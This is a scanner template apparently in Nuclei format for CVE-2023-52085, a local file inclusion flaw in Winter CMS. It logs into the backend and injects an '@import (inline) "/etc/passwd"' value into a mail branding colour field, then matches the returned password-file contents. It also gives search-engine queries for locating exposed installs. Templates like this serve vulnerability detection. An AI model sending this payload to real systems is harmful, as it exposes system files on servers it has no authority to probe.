id: CVE-2023-52085 info: name: Winter CMS Local File Inclusion - (LFI) author: sanineng severity: medium description: | Winter is a free, open-source content management system. Users with access to backend forms that include a ColorPicker FormWidget can provide a value that would then be included without further processing in the compilation of custom stylesheets via LESS. This had the potential to lead to a Local File Inclusion vulnerability. This issue has been patched in v1.2.4. reference: - https://github.com/wintercms/winter/security/advisories/GHSA-2x7r-93ww-cxrq - https://nvd.nist.gov/vuln/detail/CVE-2023-52085 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2023-52085 cwe-id: CWE-22 epss-score: 0.00256 epss-percentile: 0.65415 cpe: cpe:2.3:a:wintercms:winter:*:*:*:*:*:*:*:* metadata: max-request: 4 vendor: wintercms product: winter shodan-query: - "title:\"Winter CMS\"" - http.title:"winter cms" fofa-query: - "title=\"Winter CMS\"" - title="winter cms" google-query: intitle:"winter cms" tags: cve,cve2023,authenticated,lfi,wintercms http: - raw: - | GET /backend/backend/auth/signin HTTP/1.1 Host: {{Hostname}} - | POST /backend/backend/auth/signin HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded _token={{_token}}&postback=1&login={{username}}&password={{password}} - | POST /backend/system/mailbrandsettings HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-WINTER-REQUEST-HANDLER: onSave X-WINTER-REQUEST-PARTIALS: X-Requested-With: XMLHttpRequest _token={{_token}}&MailBrandSetting%5Bbody_bg%5D=%2342445B;@import%20(inline)%20%22/etc/passwd%22&redirect=0 - | GET /backend/system/mailbrandsettings HTTP/1.1 Host: {{Hostname}} host-redirects: true max-redirects: 3 matchers: - type: regex part: body_4 regex: - "root:[x*]:0:0:" extractors: - type: regex part: body name: _token group: 1 regex: - '' internal: true # digest: 490a0046304402200e104a483850d66787d611030336f222ee3d4972ef37c8039c12a483b4e5b2a60220155396fef3818a7af539443ef744dfc91bb98446c28034964a036156915641d5:922c64590222798bb761d5b6d8e72950